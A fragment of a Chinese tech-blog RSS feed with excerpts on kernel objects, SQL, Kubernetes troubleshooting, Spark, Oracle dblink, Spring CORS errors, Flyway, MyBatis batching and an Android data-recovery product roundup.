      <guid>https://bchobby.github.io/posts/104b32c2f84e64fdec8efb974624c208/</guid>
      <description>内核对象 物质 内核对象的本质 : 一个数据块,可理解成结构体,由两部分组成,共有( 安全描述符和使用计数)和私有(不同对象各有不同),属于操作系统&#xA;安全描述符(security descriptor,SD) : 指向所有者,其他用户的访问权限&#xA;使用计数 : 创建是为1,每次使用加1,关闭时和使用结束后-1,当为0时被操作系统销毁(操作系统管理)&#xA;运动 创建 : 通过create api来创建并返回其句柄,创建失败返回0&#xA;使用 : 通过WINAPI和句柄来使用&#xA;销毁 : 使用close api后,由操作系统根据使用计数来销毁&#xA;常见的内核对象 : 进程(process)、线程(thread)、文件(file)，存取符号对象、事件对象(event)、文件对象、作业对象、互斥对象(mutex)、管道对象、等待计时器对象，邮件槽对象，信号对象&#xA;每一个进程都会创建一个句柄表,用来存放使用的句柄&#xA;WaitObject 阻塞代码,直到进程完成&#xA;//单个 DWORD WINAPI WaitForSingleObject( __in HANDLE hHandle,//线程句柄 __in DWORD dwMilliseconds);//等待时间 INFINITE代表无限,直到waited //多个 DWORD WINAPI WaitForMultipleObjects( __in DWORD nCount,//线程个数 __in const HANDLE *lpHandles,//句柄数组 __in BOOL bWaitAll,//TRUE代表所有都结束,FALSE代表任意一个结束 __in DWORD dwMilliseconds);//等待时间 信号量 用于管理多条线程&#xA;用来表示内核对象的状态&#xA;组成 : 计数器 + 最大资源计数 + 当前资源计数</description>
    </item>
    <item>
      <title>SQL语句操作数据库</title>
      <link>https://bchobby.github.io/posts/b2d102c3efa461272ce1b2ba17d2994a/</link>
      <pubDate>Tue, 26 Dec 2023 18:12:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2d102c3efa461272ce1b2ba17d2994a/</guid>
      <description>让我为大家介绍一下操作数据库的基本操作吧！&#xA;创建数据库&#xA;语法：CREATE DATABASE 数据库名;&#xA;#创建一个叫data1的数据库 CREATE DATABASE data1; 判断数据库是否已经存在，不存在则创建数据库&#xA;语法：CREATE DATABASE IF NOT EXISTS 数据库名;&#xA;#创建一个叫data1的数据库 如果不存在就创建 CREATE DATABASE IF NOT EXISTS data1; 创建数据库并指定字符集&#xA;语法：CREATE DATABASE 数据库名 CHARACTER SET 字符集;&#xA;#创建一个叫data1的数据库 字符集为utf8 CREATE DATABASE data1 CHARACTER SET utf8; 查看所有的数据库&#xA;语法：SHOW DATABASES;&#xA;#查看所有数据库 SHOW DATABASES; 查看某个数据库的定义信息&#xA;语法：SHOW CREATE DATABASE 数据库名;&#xA;#查看data1数据库的定义信息 SHOW CREATE DATABASE data1; 修改数据库默认的字符集&#xA;语法：ALTER DATABASE 数据库名 DEFAULT CHARACTER SET 字符集;&#xA;#修改数据库data1的字符集 修改为gbk ALTER DATABASE data1 DEFAULT CHARACTER SET gbk; 删除数据库的语法</description>
    </item>
    <item>
      <title>K8S异常处理</title>
      <link>https://bchobby.github.io/posts/8c7eab8ac15c6d239b21120570ed2f55/</link>
      <pubDate>Tue, 26 Dec 2023 18:09:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c7eab8ac15c6d239b21120570ed2f55/</guid>
      <description>一、概述 1、k8s有时候会报错The connection to the server ip:6443 was refused - did you specify the right host or port ，本文档提供几种可能产生该报错的原因和排障思路。&#xA;二、发现问题 使用任意Kubectl 命令会报错：The connection to the server ip:6443 was refused - did you specify the right host or port&#xA;三、可能原因 情况一：集群硬件时间和系统时间不同步，在重启服务器后系统时间会同步硬件时间，集群的时间管理混乱，进而导致此类问题&#xA;情况二：查看端口是否被占用或者是否被防火墙、iptables这些拦截下来了&#xA;情况三：更改主机名或者服务器重启后出现此报错&#xA;情况四：通用排查&#xA;四、处理方案 情况一解决方案：此类现象需要重新更改系统时间并把硬件时间和软件时间同步&#xA;systemctl status kubelet #首先检查服务是否启动有无报错，如果服务报错进行排查&#xA;date #确认系统时间&#xA;hwclock #确认硬件 #如果此时系统时间和硬件时间同步，但明显不是服务器重启之前的时间。请继续往下看。否则就不是本情况，请查看其他案例。&#xA;date -s &#34;2023-03-25 12:00:00&#34; #首先进行系统时间的修改&#xA;hwclock --hctosys #然后用硬件时钟同步系统时钟&#xA;timedatectl |awk -F&#34;:&#34; &#39;/synchronized/{print $2}&#39; #检查ntp时间同步是否就绪，一般等待20-30分钟左右后会显示yes&#xA;kubectl get node #检查是否还会报错</description>
    </item>
    <item>
      <title>整理了45个Python小技巧，非常实用！</title>
      <link>https://bchobby.github.io/posts/1361ed931b6d0821d43e5c37f28aff25/</link>
      <pubDate>Tue, 26 Dec 2023 18:02:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1361ed931b6d0821d43e5c37f28aff25/</guid>
      <description>今天给大家介绍一个Python备忘单，可以作为学习Python编程的快速参考指南。&#xA;无论你是学习基础知识的初学者，亦或是稍有经验的开发人员。&#xA;使用这个备忘单不仅可以简化你的编码任务，还能提高你的Python熟练程度。&#xA;接下来，就来一起学习下~&#xA;01 数据类型&#xA;int_num = 42 float_num = 3.14 string_var = &#34;Hello, Python!&#34; bool_var = True 02 变量和赋值&#xA;x = 10 y = &#34;Python&#34; 03 列表和元组&#xA;my_list = [1, 2, 3, &#34;Python&#34;] my_tuple = (1, 2, 3, &#34;Tuple&#34;) 04 字典&#xA;my_dict = {&#39;name&#39;: &#39;John&#39;, &#39;age&#39;: 25, &#39;city&#39;: &#39;Pythonville&#39;} 05 条件语句&#xA;if x &amp;gt; 0: print(&#34;Positive&#34;) elif x == 0: print(&#34;Zero&#34;) else: print(&#34;Negative&#34;) for item in my_list: print(item) while condition: # code 06 函数</description>
    </item>
    <item>
      <title>【Spark-HDFS小文件合并】使用 Spark 实现 HDFS 小文件合并</title>
      <link>https://bchobby.github.io/posts/cec74fc9a7c66bd36ab71f7c74692a1d/</link>
      <pubDate>Tue, 26 Dec 2023 17:20:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cec74fc9a7c66bd36ab71f7c74692a1d/</guid>
      <description>【Spark-HDFS小文件合并】使用 Spark 实现 HDFS 小文件合并 1）导入依赖2）代码实现2.1.HDFSUtils2.2.MergeFilesApplication 需求描述：&#xA;1、使用 Spark 做小文件合并压缩处理。&#xA;2、实际生产中相关配置、日志、明细可以记录在 Mysql 中。&#xA;3、core-site.xml、hdfs-site.xml、hive-site.xml、yarn-site.xmlx 等文件放在项目的 resources 目录下进行认证。&#xA;4、下面的案例抽取出了主体部分的代码，具体实现时需要结合 HDFS 工具类，利用好 Mysql 做好配置、日志、以及相关明细，结合各自业务进行文件合并。&#xA;1）导入依赖 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;groupId&amp;gt;test.cn.suitcase&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mergefiles&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.0.0&amp;lt;/version&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;project.build.sourceEncoding&amp;gt;UTF-8&amp;lt;/project.build.sourceEncoding&amp;gt; &amp;lt;project.reporting.outputEncoding&amp;gt;UTF-8&amp;lt;/project.reporting.outputEncoding&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;maven.compiler.source&amp;gt;1.8&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;1.8&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;encoding&amp;gt;UTF-8&amp;lt;/encoding&amp;gt; &amp;lt;!-- &amp;lt;spark.version&amp;gt;3.0.2&amp;lt;/spark.version&amp;gt;--&amp;gt; &amp;lt;spark.version&amp;gt;2.4.8&amp;lt;/spark.version&amp;gt; &amp;lt;scala.version&amp;gt;2.11.12&amp;lt;/scala.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.logging.log4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;log4j-core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.20.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hadoop&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hadoop-common&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.3.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- https://mvnrepository.com/artifact/org.apache.hadoop/hadoop-client --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hadoop&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hadoop-client&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.3.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- https://mvnrepository.com/artifact/org.apache.hadoop/hadoop-hdfs --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.</description>
    </item>
    <item>
      <title>[oracle数据库]dblink的使用</title>
      <link>https://bchobby.github.io/posts/4b0d4a381b5ae820646d977d616cc2de/</link>
      <pubDate>Tue, 26 Dec 2023 17:04:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b0d4a381b5ae820646d977d616cc2de/</guid>
      <description>在 Oracle 中，使用数据库链接（Database Link，简称 dblink）可以在一个数据库中访问另一个数据库中的对象。通过数据库链接，您可以在当前数据库会话中访问远程数据库中的表、视图、存储过程等对象，就像它们是本地的一样。&#xA;以下是在 Oracle 中创建和使用数据库链接的基本语法：&#xA;创建数据库链接： CREATE DATABASE LINK link_name CONNECT TO username IDENTIFIED BY password USING &#39;remote_database&#39;; link_name 是您为链接指定的名称。username 和 password 是远程数据库的凭据。remote_database 是远程数据库的网络地址，可以是服务名或者 TNS 别名。 使用数据库链接访问远程对象： 一旦数据库链接创建成功，您可以通过该链接访问远程数据库中的对象，比如表或视图：&#xA;SELECT * FROM remote_table@link_name; 其中，remote_table 是远程数据库中的表名，link_name 是数据库链接的名称。</description>
    </item>
    <item>
      <title>java.lang.IllegalArgumentException: When allowCredentials is true, allowedOrigins cannot contain the</title>
      <link>https://bchobby.github.io/posts/6a37a3486e25ee8f396dae62243f79d1/</link>
      <pubDate>Tue, 26 Dec 2023 16:56:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a37a3486e25ee8f396dae62243f79d1/</guid>
      <description>今天在做项目的时候，新创建了一个SpringBoot的项目，并且提供了一个接口，但是在局域网内和前端同学进行本地联调的时候出现了跨域的问题。对于这种问题，不想自己手写，也不想麻烦助理，于是直接百度了一下，大概有这么几种方式：&#xA;在Controller里面增加@CrossOrigin(“*”)注解&#xA;新建一个类，然后去实现WebMvcConfigurer接口，代码大概如下：&#xA;@Configuration public class WebConfigurer implements WebMvcConfigurer { @Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping(&#34;/**&#34;) .allowedOriginPatterns(&#34;*&#34;) .allowedMethods(&#34;GET&#34;, &#34;HEAD&#34;, &#34;POST&#34;, &#34;PUT&#34;, &#34;DELETE&#34;, &#34;OPTIONS&#34;) .allowCredentials(true) .maxAge(3600) .allowedHeaders(&#34;*&#34;); } } 新建一个Filter,代码大概如下：&#xA;@Component public class CorsFilter implements Filter { @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletResponse response = (HttpServletResponse) servletResponse; response.setHeader(&#34;Access-Control-Allow-Origin&#34;,&#34;*&#34;); response.setHeader(&#34;Access-Control-Allow-Credentials&#34;, &#34;true&#34;); response.setHeader(&#34;Access-Control-Allow-Methods&#34;,&#34;PUT, POST, GET, OPTIONS, DELETE&#34;); response.setHeader(&#34;Access-Control-Max-Age&#34;, &#34;3600&#34;); response.setHeader(&#34;Access-Control-Allow-Headers&#34;, &#34;content-type, authorization&#34;); filterChain.doFilter(servletRequest, servletResponse); } } 于是我尝试了第一种办法,发现并没有解决问题；于是我尝试了第二种办法，发现报错了。于是我暂时略过了，尝试第三种办法，发现还是没有解决。于是对于第二种办法我产生了一丝好奇，可以不生效，但是为什么要报错呢？</description>
    </item>
    <item>
      <title>调优-mybatis saveBatch</title>
      <link>https://bchobby.github.io/posts/f3b62bde393a4c3f1d84558f98ab73c4/</link>
      <pubDate>Tue, 26 Dec 2023 16:48:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3b62bde393a4c3f1d84558f98ab73c4/</guid>
      <description> 一条一条插入：&#xA;批量插入：&#xA;批量插入-优化：&#xA;在url配置&#xA;# rewriteBatchedStatements=true url: jdbc:mysql://localhost:3306/xi_ning?characterEncoding=utf-8&amp;amp;serverTimezone=UTC&amp;amp;rewriteBatchedStatements=true rewriteBatchedStatements=true 是一个在 JDBC 连接池（例如 HikariCP、c3p0、Tomcat JDBC Connection Pool 等）中使用的配置选项。&#xA;当 rewriteBatchedStatements 设置为 true 时，连接池会尝试重写批处理语句以提高性能。具体来说，它会把批处理语句中的每个单独的语句转换为一个预批处理语句，然后执行批处理执行。这样做的好处是，每个单独的语句都可以使用其自己的参数绑定，从而减少了解析和准备查询的时间。&#xA;需要注意:不是所有的 JDBC 驱动都支持这种重写。如果驱动不支持，这个选项可能不会带来任何性能提升，甚至可能导致性能下降。&#xA;简单来说，rewriteBatchedStatements=true 的目的是为了提高批处理操作的性能，但使用前需要确保你的 JDBC 驱动支持这种重写。&#xA;优化后：&#xA;为什么能优化？&#xA;插入的重写就是将sql拼接成 insert into xxx values (a),(b),(c)...这样一条语句的形式然后执行，跟拼接 sql 的效果一样。(即整合SQL，达到批量处理的目的)&#xA;可能会出现的问题：&#xA;如果批量语句中的某些语句失败，则默认重写会导致所有语句都失败。批量语句的某些语句参数不一样，则默认重写会使得查询缓存未命中。 </description>
    </item>
    <item>
      <title>Spring Boot学习：Flyway详解</title>
      <link>https://bchobby.github.io/posts/53f8662c044496d7b386528238b552c2/</link>
      <pubDate>Tue, 26 Dec 2023 16:34:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53f8662c044496d7b386528238b552c2/</guid>
      <description>Flyway Flyway 是一款开源的数据库版本管理工具，用于管理和自动化数据库结构的变更。它可以跟踪和管理数据库的版本控制，并在应用程序启动时自动执行升级或回滚操作。&#xA;使用Flyway，你可以将数据库的变更以可重复且可控的方式应用到不同环境中，如开发、测试和生产环境。它支持多种数据库系统，包括MySQL、Oracle、PostgreSQL、SQL Server等。&#xA;Flyway将数据库结构的变更定义为一系列迁移脚本，通常是SQL脚本文件。每个迁移脚本都有一个唯一的版本号，Flyway会按照版本号的顺序依次执行这些脚本，以达到数据库结构的变更和更新。当应用程序启动时，Flyway会自动检测并执行未应用的迁移脚本，将数据库升级到最新版本。如果需要回滚到之前的版本，Flyway也提供了回滚操作的支持。&#xA;通过使用Flyway，开发团队可以更好地管理数据库结构的变更，保持不同环境之间的数据库一致性，并轻松地进行版本控制和追踪。&#xA;官方文档：https://documentation.red-gate.com/fd/&#xA;Flyway 工作流程 1、检测数据库状态：Flyway会连接到配置的数据库，并检测当前数据库的状态，包括已应用的迁移脚本版本和未应用的迁移脚本。&#xA;2、执行迁移脚本：Flyway会将未应用的迁移脚本按照版本号的顺序逐一执行。它会查找项目中指定的迁移脚本目录（默认为db/migration），并依次运行其中的SQL脚本。&#xA;3、更新数据库状态：每当一个迁移脚本成功执行后，Flyway会将其记录为已应用的脚本，并将其版本号存储在数据库的元数据表（ flyway_schema_history）中，以便下次启动时进行跟踪和管理。&#xA;Spring Boot集成Flyway 1、添加依赖&#xA;在项目的pom.xml文件中，添加Flyway的Maven依赖，如果是springboot 2.xx，使用5.2.1或5.2.4：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.flywaydb&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;flyway-core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${flyway-core.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2、数据库连接信息配置&#xA;在Spring Boot项目的application.properties或者application.yml文件中配置数据库的连接信息，例如：&#xA;spring.datasource.url=jdbc:mysql://localhost:3306/db_example spring.datasource.username=dbuser spring.datasource.password=dbpass 3、Flyway配置&#xA;在Spring Boot项目的application.properties或者application.yml文件中进行Flyway的相关配置，例如&#xA;# Flyway配置 #开启flyway功能，默认为true spring.flyway.enabled=true # 用于存储迁移历史记录的表名，默认为flyway_schema_history spring.flyway.table=flyway_schema_history # 迁移脚本编码，默认为UTF-8 spring.flyway.encoding=UTF-8 # 当迁移数据库存在但没有元数据的表时，自动执行基准迁移，新建flyway_schema_history表 spring.flyway.baseline-on-migrate=true # 数据库迁移脚本的位置，默认为classpath:db/migration spring.flyway.locations=classpath:db/migration # SQL迁移脚本文件名前缀，默认为V spring.flyway.sql-migration-prefix=V # SQL迁移脚本文件名后缀，默认为.sql spring.flyway.sql-migration-suffixes=.sql # 是否在迁移时验证脚本，默认为true spring.flyway.validate-on-migrate=true # 检测迁移脚本的路径是否存在，默认为true，如不存在，则抛出异常，如果不想抛出异常可设为flase spring.flyway.check-location=false # 用于控制是否禁用 Flyway 的 clean 操作。 spring.flyway.clean-disabled=true 大家可以按照自己的需求来进行配置，上述配置除了spring.flyway.baseline-on-migrate和spring.flyway.clean-disabled，其他都比较见名知义，所以下面讲解下</description>
    </item>
    <item>
      <title>K8s简述</title>
      <link>https://bchobby.github.io/posts/52e3e097be3d63d6eaa02dc29db30bac/</link>
      <pubDate>Tue, 26 Dec 2023 16:08:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52e3e097be3d63d6eaa02dc29db30bac/</guid>
      <description>1、定义：是一种开源的容器集群管理系统，在docker 容器技术的基础之上，为容器化的集群提供部署、运行、资源调度、服务发现、动态伸缩等一系列完整的功能的大规模容器管理&#xA;2、功能&#xA;（1）对docker的容器技术应用的包，部署、运行、停止、销毁，全生命周期管理&#xA;（2）集群方式运行，跨机器的容器管理&#xA;（3）解决docker的跨机器运行的网络问题&#xA;（4）k8s可以自动修复，使得整个容器集群可以在用户期待的状态下运行&#xA;3、作用：自动部署、自动扩展和管理容器化部署的应用程序&#xA;负责自动化运维管理多个容器化程序的集群，是一个功能强大的容器编排工具。以分布式和容器化的方式进行容器管理&#xA;4、常用版本：K8s 1.20（支持容器，1.23版本后不再支持容器）&#xA;5、k8s以google的borg系统作为原型，后期经由go语言编写的开源软件&#xA;官网：Kubernetes&#xA;源码包：https://github.com/kubernetes/kubernetes&#xA;6、传统部署、容器部署、k8s部署的区别&#xA;（1）传统部署方式：一般意义上的二进制部署，安装、运行、运行维护需要专业人员，若出现故障，需要人工重新拉起来，若业务量增大，只能水平拓展，再部署一台&#xA;（2）容器化部署：用dockerfile方式，编写好自定义容器，基于镜像，随时都可以运行。数量少，还可以管理，数量一旦增多，管理复杂，而且docker一般是单机运行，没有高可用&#xA;（3）k8s部署：简单、高效的部署容器化的应用&#xA;①可以解决docker单机部署和无法集群化的问题&#xA;②可以解决随着容器数量的增加，对应增加的管理成本的问题&#xA;③可以解决容器的高可用问题，提供一种容器的自愈机制&#xA;④可以解决容器没有预设模板，以及无法快速、大规模部署，以及大规模容器调度的问题&#xA;⑤提供集中化配置管理的中心&#xA;⑥可以解决容器生命周期的管理工具的问题&#xA;⑦提供图形化工具对容器进行管理&#xA;7、k8s特性&#xA;（1）弹性伸缩：基于命令或图形化界面基于CPU的使用情况，自动对部署的程序进行扩容和缩容，以最小成本运行服务&#xA;（2）自我修复：出现节点故障时，自动重新启动失败的容器，也可以手动替换和重新部署&#xA;（3）服务发现和负载均衡：k8s为多个容器提供一个统一的访问入口（内部地址，需要暴露才能访问。和内部的DNS名称），自动负载均衡关联的所有容器&#xA;nginx-1&#xA;10.244.0.10:3000&#xA;DNS服务名称：nginx&#xA;nginx-2&#xA;nginx-3&#xA;（4）自动发布和回滚：k8s采用滚动的策略更新应用，若更新过程中出现问题，可以根据回滚点进行回滚到上一个老版本&#xA;nginx-1&#xA;先更新1&#xA;最新版本&#xA;nginx-2&#xA;再更新2&#xA;1和2若有问题，自动回滚到上一个版本&#xA;nginx-3&#xA;老版本&#xA;（5）集中化的配置管理和密钥管理：k8s集群内的各个组件都需要进行密钥对验证，但k8s的安全性不高，核心组件不建议部署在k8s上，适合部署一些自定义应用&#xA;（6）存储编排&#xA;①可以自动化的把容器部署在节点上&#xA;②可以通过命令行或者yml文件（自定义pod）实现指定节点部署&#xA;③可以通过网络存储、NFS、GFS实现指定节点部署&#xA;（7）批次处理任务：提供一次性任务、定时任务，满足需要批量处理和分析的场景&#xA;8、master组件（核心组件）【重要】&#xA;（1）kube-apiserver—所有请求的入口服务：k8s集群中每个组件都靠密钥对进行验证，组件之间通信靠kube-apiserver&#xA;API是应用接口服务，在k8s的所有资源请求和调用操作都是通过kube-apiserver来完成。所有对象资源的增删改查和监听操作，都是kube-apiserver处理完后交给etcd来存储。apiserver接收k8s的所有请求（命令行和图形化界面的操作），然后根据用户的具体请求通知对应的组件，展示或运行命令。apiserver相当于整个集群的大脑&#xA;（2）kube-controller-manger：运行管理控制器，k8s集群中处理常规任务的后台线程，是集群中所有资源对象的自动化控制中心，一个资源对应一个控制器，kube-controller-manger负责管理所有控制器&#xA;控制器&#xA;node controller节点控制器&#xA;负责节点的发现，以及节点故障的发现和响应&#xA;replication controller副本控制器&#xA;控制关联pod的副本数，可以随时扩、缩容（手动、自动）&#xA;endpoints controller端点控制器&#xA;监听service和对应pod的副本变化端点就是服务暴露出的访问点，要访问这个服务必须要知道endpoint，就是内部每个服务的IP地址+端口&#xA;service account和&#xA;roken controllers服务账户和令牌控制&#xA;为命名空间创建默认账户和API访问令牌。访问不同的命名空间&#xA;resourcequota controller资源控制器</description>
    </item>
    <item>
      <title>Java与前端的未来，超越流言，把握发展机遇</title>
      <link>https://bchobby.github.io/posts/0d5c1178baa684792023fc6e628856b3/</link>
      <pubDate>Tue, 26 Dec 2023 15:59:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d5c1178baa684792023fc6e628856b3/</guid>
      <description>一、为什么会出现“前端已死”的言论 最近，IT圈流传着“Java已死、前端已凉”的言论，引发了广泛的讨论和争议。本文将对这一言论进行剖析，并表达笔者对Java和前端的未来发展的看法。我们将看到，虽然技术领域的竞争激烈，但Java和前端仍然拥有广阔的发展前景和机遇。&#xA;二、如何看待“前端已死” 近年来，随着技术的快速发展和新兴技术的涌现，IT圈中经常会传出各种关于技术的言论和预测。在这样的背景下，最近流传的“Java已死、前端已凉”的言论引起了广泛的关注和讨论。这样的言论一方面引发了人们的焦虑和不安，另一方面也引发了对Java和前端未来发展的思考和探讨。&#xA;然而，我们需要理智地对待这样的言论，避免被过度的焦虑所左右。事实上，Java和前端作为技术领域中的两个重要方向，依然具备广阔的发展前景和机遇。&#xA;首先，让我们来看看Java。作为一门成熟而强大的编程语言，Java一直在企业级应用开发领域扮演着重要的角色。无论是大型企业应用还是后端服务，Java都展现出了其稳定性、可靠性和安全性的优势。而随着云计算、大数据、人工智能等技术的蓬勃发展，Java在这些领域中的应用仍然十分重要。同时，Java生态系统庞大且成熟，拥有丰富的开源框架和工具，为开发者提供了广泛的选择和支持。因此，可以说Java在企业级应用领域的地位是稳固的，并且有望继续发展。&#xA;此外，Java在移动应用开发领域也有着不可忽视的地位。虽然移动应用开发中出现了一些新兴的技术，例如React Native和Flutter，但Java仍然是Android平台的主要开发语言。而且，Android系统在全球范围内的市场份额仍然巨大，这为Java在移动应用开发领域提供了广阔的机遇。&#xA;三、前端技术的未来发展趋势 首先，让我们来看看Java。作为一门成熟而强大的编程语言，Java一直在企业级应用开发领域扮演着重要的角色。无论是大型企业应用还是后端服务，Java都展现出了其稳定性、可靠性和安全性的优势。而随着云计算、大数据、人工智能等技术的蓬勃发展，Java在这些领域中的应用仍然十分重要。同时，Java生态系统庞大且成熟，拥有丰富的开源框架和工具，为开发者提供了广泛的选择和支持。因此，可以说Java在企业级应用领域的地位是稳固的，并且有望继续发展。&#xA;此外，Java在移动应用开发领域也有着不可忽视的地位。虽然移动应用开发中出现了一些新兴的技术，例如React Native和Flutter，但Java仍然是Android平台的主要开发语言。而且，Android系统在全球范围内的市场份额仍然巨大，这为Java在移动应用开发领域提供了广阔的机遇。&#xA;四、前端人，该如何打好这场职位突围战？ 对于前端而言，它也在不断地发展和创新。新的前端框架和工具的涌现使得前端开发更加高效和便捷。同时，前端技术的跨平台能力也在不断增强，使得前端应用能够更好地适应不同的终端和设备。随着WebAssembly的兴起，前端应用的性能和功能也得到了大幅提升。这些进步使得前端开发在不同领域和行业中的需求不断增加。&#xA;总的来说，虽然技术领域的竞争激烈，但我们不应过分担忧和相信盲目的言论。Java和前端作为成熟和广泛应用的技术方向，依然具备广阔的发展前景和机遇。它们在不断演进和创新，为开发者提供更好的工具和平台，使得他们能够更加高效地开发和交付优秀的软件产品。&#xA;因此，对于从业者而言，关键是保持学习和适应能力。及时了解和掌握新的技术趋势和工具，不断提升自己的技术水平和能力。同时，也要注重全面发展，提升与人沟通、解决问题和创新思维等软技能。这样，无论是Java还是前端，都能够在激烈的竞争中立于不败之地，并抓住发展的机遇。&#xA;综上所述，虽然“Java已死、前端已凉”的言论在IT圈内引起了一定的关注和争议，但我们应该理性对待。Java和前端作为技术领域中的重要方向，依然具备广阔的发展前景和机遇。关键在于我们要保持学习和适应能力，不断提升自己的技术水平和能力。只有这样，我们才能超越流言，把握发展的机遇，并在技术的浪潮中不断前行。</description>
    </item>
    <item>
      <title>2024 年 11 款最佳 Android 数据恢复软件应用</title>
      <link>https://bchobby.github.io/posts/a1bafa8a46df0048da1f0c83a29656da/</link>
      <pubDate>Tue, 26 Dec 2023 15:57:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1bafa8a46df0048da1f0c83a29656da/</guid>
      <description>Android 设备上的数据丢失可能是一种令人痛苦的经历，通常会导致不可替代的信息瞬间消失。&#xA;意外删除、系统崩溃或格式错误都可能发生，重要数据的丢失可能会扰乱日常工作并影响您的工作效率。 幸运的是，技术进步带来了多种恢复解决方案，在本文中，我们将介绍 11 款最好的 Android 数据恢复软件，它们有望有效地挽救丢失的文件。&#xA;2024 年 11 款最佳 Android 数据恢复软件应用 1.奇客数据恢复安卓版 我们最推荐的软件奇客数据恢复安卓版是一款以其多功能性而闻名的全面 Android 数据恢复解决方案。 该软件旨在解决各种数据丢失情况，包括意外删除、水损坏和系统崩溃。&#xA;奇客数据恢复安卓版的与众不同之处在于它能够从内部存储和外部 SD 卡恢复各种文件，包括照片、视频和消息。 安卓数据恢复-奇客官网免费下载Android数据恢复软件扫描数据，支持文件、照片、视频、邮件、音频、微信消息等1000+种文件格式。https://www.geekersoft.cn/geekersoft-recovergo-android.html此外，其直观的界面确保了无忧的用户体验，使数据恢复过程变得简单且适合所有人，无论技术专业知识如何。&#xA;奇客数据恢复安卓版的突出功能之一是其预览功能，允许您有选择地恢复特定文件，从而节省时间和精力。 此外，该软件还提供强大的数据扫描功能，即使在水损坏或病毒攻击等复杂情况下，也能确保检索丢失数据的高成功率。&#xA;该工具拥有数据恢复所需的一切，并且有数百万人使用它，因此它是我们列表中的第一个条目也就不足为奇了。&#xA;2. iToolab RecoverGo Android 在这里，我们拥有最可靠、最高效的 Android 数据恢复工具之一，优先考虑易用性和有效恢复。 该恢复工具拥有简化的界面，适合所有级别的用户使用。&#xA;iToolab RecoverGo Android值得注意的是它的深度扫描功能。&#xA;它会在各种情况下详细搜索丢失的文件，包括意外删除、系统崩溃等。 它擅长检索照片、联系人、消息、文档等多种文件类型，为用户提供全面的数据恢复解决方案。&#xA;iToolab RecoverGo Android 的另一个显着优势是扫描和恢复数据的速度和效率，可在不影响检索质量的情况下快速提供结果。&#xA;3.Dr.Fone Dr.Fone因其令人印象深刻的成功率和广泛的设备兼容性（涵盖三星、Oppo 等领先品牌）而在 Android 数据恢复领域赢得了声誉。 它无需设备根访问即可无缝恢复各种数据类型，包括照片和 WhatsApp 消息等复杂数据。&#xA;UltData 之所以脱颖而出，是因为它承诺即使在备份不可用的情况下也能恢复各种文件类型，例如 WhatsApp 等应用程序中的视频、文档和录音。 然而，需要注意的是，虽然 UltData 擅长在无需 root 的情况下检索某些文件类型，但获取联系人或内存照片等文件可能需要 root。 UltData 兼容 6000 多种设备，确保跨 Android 设备的用户具有广泛的覆盖范围和可访问性。&#xA;4.iMyFone D-Back iMyFone D-Back 是一款专为 Android 用户设计的专用数据恢复软件。 该软件可以轻松恢复 Android 手机中已删除的照片，无需root 访问权限。 此外，它还可以在 Android 设备上恢复已删除的 WhatsApp 消息，而无需备份或 root 访问权限。</description>
    </item>
    <item>
      <title>【深度学习-目标检测】05 - YOLOv1 论文学习与总结</title>
      <link>https://bchobby.github.io/posts/6974e49a7c813ca912b520c5945e83c8/</link>
      <pubDate>Tue, 26 Dec 2023 15:47:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6974e49a7c813ca912b520c5945e83c8/</guid>
